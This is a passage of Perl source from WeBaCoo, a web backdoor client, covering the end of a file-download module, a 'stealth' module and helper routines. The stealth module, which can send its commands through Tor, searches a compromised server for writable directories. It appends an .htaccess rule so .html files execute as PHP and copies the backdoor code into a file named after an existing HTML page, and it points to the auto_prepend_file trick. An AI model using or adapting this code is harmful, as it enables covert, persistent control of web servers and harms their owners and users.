system("xxd -ps -r $lfile.tmp2 > $lfile");
# Remove temp generated file
system("rm $lfile.tmp2");
}
# Remove temp storage file
system("rm $lfile.tmp");
# Print success message
print "\n[+] File successfully downloaded at current directory.\n";
# Unload download module
$loaded_module = '';
print "[*] Download module unloaded.\n";
return ;
}
# Stealth Module
elsif($modargs[0] eq "stealth") {
if(@modargs != 2) { print "[-] Error loading stealth module\n"; return; }
$loaded_module = 'stealth';
my $wr_dir = '';
# Formalize directory path
if((substr $modargs[1],-1,1) eq "/") { chop($modargs[1]); }
# Search for writable directories
print "[*] Searching for user writable directory.\n";
$command = "find $modargs[1] -user `whoami` -type d -perm /u+w 2>&1 | grep -v \"denied\" | head -1 ";
if(defined $args{p} && $args{p} eq "tor") { tor_cmd_request(); }
else { cmd_request(); }
if($output_str eq '') {
print "[-] No user writable directory found.\n";
print "[*] Searching for group writable directory.\n";
$command = "for g in \$(groups `whoami` | cut -f2 -d:); do find $modargs[1]"
.' -group "$g" -type d -perm /g+w 2>/dev/null; done | head -1;';
if(defined $args{p} && $args{p} eq "tor") { tor_cmd_request(); }
else { cmd_request(); }
if($output_str eq '') {
print "[-] No group writable directory found.\n";
print "[*] Searching for other writable directory.\n";
$command = "find $modargs[1] -type d -perm /o+w 2>&1 | grep -v \"denied\" | head -1 ";
if(defined $args{p} && $args{p} eq "tor") { tor_cmd_request(); }
else { cmd_request(); }
if($output_str eq '') {
print "[-] No other writable directory found.\n";
# If no writable dir founds, search for .htaccess files
print "[*] Searching for '.htaccess' files.\n";
$command = "find $modargs[1] -type f -name .htaccess -exec ls -adl {} \\; 2>&1 | grep -v \"denied\"";
if(defined $args{p} && $args{p} eq "tor") { tor_cmd_request(); }
else { cmd_request(); }
if($output_str ne '') {
print "$output_str\n\n";
print "[*] Check if you have write permissions to any of the above files.\n";
print "[*] If so, use the 'php_value auto_prepend_file' option.\n";
}
else { print "[-] No '.htaccess' files found.\n"; }
print "\n[-] Module failed to automatically increase stealth status.\n";
$loaded_module = '';
return ;
}
# Proceed with other dir
else { $wr_dir = $output_str; }
}
# Proceed with group dir
else { $wr_dir = $output_str; }
}
# Proceed with owner dir
else { $wr_dir = $output_str; }
# Print founded writable directory
print "[+] Writable directory detected at '$wr_dir'\n";
# Check if .html file exists
$command = "find ./ -name '*.html' 2>&1 | grep -v 'denied' | head -1";
if(defined $args{p} && $args{p} eq "tor") { tor_cmd_request(); }
else { cmd_request("1"); }
# If no .html files exist, print and return from module load
if($output_str eq '') {
print "\n[-] No .html files located.\n";
print "[-] Module failed to automatically increase stealth status.\n";
$loaded_module = '';
return ;
}
# Create a special handle type rule using htaccess
$command = "grep -q 'x-httpd-php .html' $wr_dir/.htaccess && exit; ".
"echo 'AddType application/x-httpd-php .html' | tee -a $wr_dir/.htaccess";
if(defined $args{p} && $args{p} eq "tor") { tor_cmd_request(); }
else { cmd_request("1"); }
# Locate backdoor code file
my $code_file = basename $WEBACOO{uri};
# Copy backdoor code to new file named as an existing html file
$command = "f=`find ./ -name '*.html' 2>&1 | grep -v 'denied' | head -1`; ".
"cp \$f $wr_dir/ ; cat $code_file | ".
'grep "\$b=strrev(" | tee '."$wr_dir".'/`basename $f`';
if(defined $args{p} && $args{p} eq "tor") { tor_cmd_request(); }
else { cmd_request("1"); }
# Unload module
$loaded_module = '';
# Print new backdoor path
print "\n[+] Backdoor code is available at $wr_dir/";
$command = "f=`find ./ -name '*.html' | head -1`; basename \$f";
if(defined $args{p} && $args{p} eq "tor") { tor_cmd_request(); }
else { cmd_request("1"); }
# Print info and return from module
print "[!] If shell spawn at new URI failed, server config does not allow type overrides.\n";
print "\n[*] Stealth module undloaded.\n";
return ;
}
else { print "[-] Unknown module name.\n"; return; }
# Print module help messages
print "[+] $modargs[0] module successfully loaded.\n";
print "[*] Type 'unload' to unload the module and return to the original cmd.\n\n";
}
#################################################################################
# Unload extension modules
sub unload_module
{
# Print notification message
print "\n[+] $loaded_module has been unloaded.\n";
# Revert to initial state the module related global variables
$WEBACOO{shell_name} = "webacoo";
$WEBACOO{shell_head} = '$ ';
$loaded_module = '';
$module_ext_head = '';
$module_ext_tail = '';
}
#################################################################################
# Random string for tmp file names
sub random_string
{
my $length = shift;
my @chars=('a'..'z','A'..'Z');
my $random_string;
foreach (1..$length)
{
$random_string.=$chars[rand @chars];
}
return $random_string;
}